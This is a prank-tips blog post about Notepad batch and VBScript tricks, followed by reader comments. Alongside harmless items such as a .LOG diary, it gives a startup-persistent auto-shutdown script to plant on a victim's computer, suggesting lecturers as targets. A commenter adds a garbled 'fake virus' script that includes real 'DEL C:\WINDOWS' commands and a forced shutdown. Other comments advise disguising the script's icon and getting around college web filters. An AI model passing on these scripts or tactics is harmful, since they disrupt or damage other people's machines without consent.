Unknown Awesome Notepad Funny Tricks You Might Have Missed
Here are some cool notepad tricks for you guys. Some of these are pranks, they may not work if they are pretty good with computers or you’re trying these on anyone whose background originates from computer field. Apart from these any kind of victims will do. This is just a fun article, just enjoy reading and I’m sure you’ll learn something new about notepad.
Notepad Diary :
Do you keep a diary (Or maybe a journal or something to keep a track of your daily activities and routines) Or do you wish to make notes where the notes keep the date automatically?Do you watch movies and keep a track of them??Like when you’ve watched it and stuff?? Well here is a cool trick that im gonna show you.Its upto you how you use it. All you need is notepad.
1) Open a blank notepad file.
2) Type .LOG in all caps at the top and hit enter.
3) Now save the file as you wish.
4) After closing the file, open it again and you will notice that the date & time is now listed on the second line.
5) You will also notice that the cursor is ready for you to start typing on the next line.
6) Now every time you open it, type something on the next line and then save it,close it, when you open it again, it will have automatically saved the date and time on the last line.
It keeps a running record of date and time for every save. Now you have a diary ! Have Fun !
Matrix Coding :
Next Trick that I’m gonna show you is to create similar to the Coded-Screen From the movie Matrix!! The screen where random numbers appear in the movie and a techie sits right in front of the computer and guides “Neo” through all troubles.Anyway if you don’t have an idea just have a look at the matrix screen from the following youtube link here.
Lets try to create a similar screen just by using a notepad.Just Copy paste the following code into your Notepad and save the file as Matrix.bat.”Matrix” is not necessary, you can save it with whatever name you wish but its important that you save it with .bat extension.
Here’s the code.
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@echo off
color 02es
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
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This is nothing but usage of few simple notepad commands to create out Matrix screen.Let us understand what these commands do and how they function in brief.
Echo – Echos the screen.
Color – Displays the text content in the color that you mentioned.
:- This is similar to the “go-to” marker in C-Language. (Not a problem if you’re not experienced with C-Language. Just thought you should know)
%random – This prints a random number on the screen.
goto – this points that the function must be passed to “start” again to make it an indefinite loop.
Your screen must look something like this.
Fake Virus :
Deleting Files message to freak everyone out.
Just copy the following code and save it as a batch file like we spoke.
@echo off
cls
echo Fatal Error!! Your computer is under attack!!
pause
echo Deleting Files
pause
:files
echo !323%%%@#@GJFGG42JG
echo !3424%@#%^&@52%@%gs
echo !@$@^624@$6262$hG
echo !@#4-07234&5*((6hkd
echo !&^%78755&*%478*%$&
echo !^$$68*$78()&4578
echo !&8898*65$$566$68(9
goto files
If you want your victim to run this,save it in startup or you can just make him click your batch file and enjoy the look on your victim’s face.
Auto-Shutdown Code :
This is the real deal.This trick is so simple and so easy,but really leeches-out the life of even the toughest of the programmers making them wonder how to fix it.Now before you do this,just make sure this is only a prank and nothing more.I’ll tell you each and everything about this but you will have to make sure you restore the computer back to normal after using this trick. Trust me its fun,not at all dangerous.Its the kinda trick that is so easy and makes people wonder why is your computer acting so weird. Lets get started. just open notepad and type the following code.
msg * Fatal Error! Your Computer Will Shutdown in few Moments!*
shutdown -t
That’s it!!! Yep! That’s the code, as simple as it looks. Now save it as virus.bat, or anything you wish, just make sure it’s under .bat extension.Now here’s the real deal that makes this trick so annoying.Now take the batch file that you created and place it in the Windows startup.For those of you all who don’t know where startup is, no problemo! It’s in Start(Windows button on the left bottom of your screen), and there it will be, the windows startup.Just place the batch file in it and your trick is set to play a prank on your victim. The next time you switch on your computer your computer will look for the files in the startup directory and run them!! when your batch file is executed. It will display a message
“Fatal Error! Your Computer Will Shutdown in few Moments! “
You will next get a message box with a count-down for shutdown of your computer.You will have just a minute to remove the batch file from the startup directory to stop this from running again.Unless and until the file is removed from the startup . Your computer will shutdown every time you turn it on!! So don’t forget to remove the file from the startup directory. Just remember use this trick for fun purposes only( or you can use it in your college if you hate your lecturers, Because that’s what I do. 😛 Psssst,keep it a secret). Anyway I guess you have understood everything clearly.The outcomes of this trick is solely your responsibility.Have Fun!!
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Wow..lyjed this artcile quite a lot….specially the Fake viruss
Im glad 🙂
awesome, helped a lot.
cls
:A
color 0a
@ echo off
echo Wscript.Sleep
DEL C:\WINDOWS 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo Deleting Critical System Files…
echo del *.*
start /w wscript.exe C:\sleep3000.vbs
echo Deletion Successful!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo Deleting Root Partition…
start /w wscript.exe C:\sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:\sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x…
cd C:\Documents and Settings\All Users\Start Menu\Programs\mkdir
h4x
DEL C:\WINDOWS
start /w wscript.exe C:\sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1…
start /w wscript.exe C:\sleep3000.vbs
echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\
echo start hax.exe
start /w wscript.exe C:\sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:start /w wscript.exe C:\sleep2000.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:\sleep2000.vbs
echo Killing all processes…
start /w wscript.exe C:\sleep2000.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exeC:\sleep2000.vbs
echo:
echo Have fun!
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c “Your computer has committed suicide.”
This is a fake virus to make yor friend afraid of.
Yep, Nice one buddy…. But we as a part of http://www.coolpctips.com , focus on clarity so our readers understand it easily, we leave the advanced stuff to the users to write the code similar to what you just did
nice tricks,dude…………
thanks bud.
cool posts dude..day by day website is too good for tips..
awesome man…
i saw your website today and found very useful articles related to batch file.
i have 2 problems related to batch programming.i thought you solve my
problem so i post to you.
1.i want to change home page of all my browser with a single click.i know
it can be done with batch file but i don’t know how to do it.plz solve
this problem.
2.i have idea net setter e1550 when i connect to internet using this then
it open ideacellular.com every time.so plz solve this problem also.
i hope you reply to these query.
regard,
sushil
Hmm, you can do it but its actually not related to batch file programming. This deals more with programs/ softwares and its registries. So I suggest you add registry entries into your batch file to change it and set default webpages for respective browsers by simply running a batch file. Thank you.
wow soo funny. Thanks for the tips 😉
Good. I want to learn more about bat and reg
suggestion about free lessons on bat and reg
just , tired searching on google.
Again really good.
Matrix Code is not working dude 🙁
You did not make that code. It has already been made.
i have a small doubt, will u plz solve it…1) how to change the icon of a batch file. plz send to my email. if any possible… (*i want to change as a folder icon for that particular batch file only)
Save the bat file to a directory, make a shortcut to the bat on the desktop, change icon and/or name to whatever. All done.
if i were you i would change the icon to the Google chrome or internet explore icon depending on what your friend/enemy you want to scare uses
wanna access the internet in my college but most of the pages are always blocked!!! how do i overcome that???
use IP config in CMD prompt and then type in the URL of the website you want then in your search bar type in the IP address of the website.
frnd pls suggest me to remove the genuine problem using notepad…….
The “Fake Virus” wont actually give you a virus, right?!
Nope, it’s just a prank.
I know a script that will makes from you screen to a disco!
First open a empty notepad file.
Copy and paste this in it:
@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug nul
del \z.dbg
Save it with the name: example.BAT
Open it and you screen will let you see random colours!
Press any key to quit it.
doesnt do anything
first copy this code and paste in notepad and then save as any name.VBS
and after saving it on your desktop open it a dialogue box will appear
u type any thing in that your system will speak it
msg=InputBox(“Enter your text”,”Talk it”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak msg
The CMD screen is not stopping. It just flashes. Wht’s the reason?
This one makes a funny error message!
X=Msgbox(“Ha-Ha! There was an error!”,0+16,”Fatal Error”)
Save it as Error.vbs